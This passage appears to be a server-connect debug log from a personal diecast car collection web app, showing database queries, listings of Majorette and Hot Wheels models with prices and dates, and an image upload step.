      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:24:06.338Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:24:06.339Z server-connect:app Executing action step select
2026-02-04T11:24:06.339Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:24:06.339Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:24:06.339Z server-connect:app Executing action step select
2026-02-04T11:24:06.339Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:24:06.340Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:24:56.615Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:24:56.616Z server-connect:app Executing action step identify
2026-02-04T11:24:56.616Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:56.616Z server-connect:output identity: 1
2026-02-04T11:24:56.616Z server-connect:app Executing action step restrict
2026-02-04T11:24:56.616Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:56.616Z server-connect:output restrict: undefined
2026-02-04T11:24:56.616Z server-connect:app Executing action step condition
2026-02-04T11:24:56.616Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:24:56.616Z server-connect:app Executing action step insert
2026-02-04T11:24:56.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:24:56.617Z server-connect:output insert: { affected: 1, identity: 182 }
2026-02-04T11:24:56.617Z server-connect:app Executing action step condition
2026-02-04T11:24:56.617Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:24:56.617Z server-connect:app Executing action step upload
2026-02-04T11:24:56.617Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:24:56.617Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:24:56.617Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:24:56.617Z server-connect:upload Processing file: {
  name: 's-l1600 (5).webp',
  data: <Buffer >,
  size: 73112,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-68-20378841770204296615',
  truncated: false,
  mimetype: 'image/webp',
  md5: '257fe147b7a862ab807164e30d793924',
  mv: [Function: mv]
}
2026-02-04T11:24:56.618Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp',
  rel: 'public/assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp'
}
2026-02-04T11:24:56.618Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp',
  rel: 'assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp'
}
2026-02-04T11:24:56.618Z server-connect:output upload_image: [
  {
    name: 's-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp',
    path: '/public/assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp',
    url: '/assets/images/diecast/s-l1600_5_4535ee77-e901-4339-8c8f-bc277289811d.webp',
    type: 'image/webp',
    size: 73112
  }
]
2026-02-04T11:24:56.618Z server-connect:app Executing action step repeat
2026-02-04T11:24:56.618Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:24:56.618Z server-connect:app Executing action step insert
2026-02-04T11:24:56.618Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:24:56.619Z server-connect:output images: { affected: 1, identity: 219 }
2026-02-04T11:24:56.619Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:24:56.619Z server-connect:output condition: undefined
2026-02-04T11:24:56.619Z server-connect:output condition: undefined
2026-02-04T11:24:56.869Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:24:56.870Z server-connect:app Executing action step identify
2026-02-04T11:24:56.870Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:56.870Z server-connect:output identity: 1
2026-02-04T11:24:56.870Z server-connect:app Executing action step restrict
2026-02-04T11:24:56.870Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:56.870Z server-connect:output restrict: undefined
2026-02-04T11:24:56.870Z server-connect:app Executing action step paged
2026-02-04T11:24:56.870Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:24:56.873Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 40,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
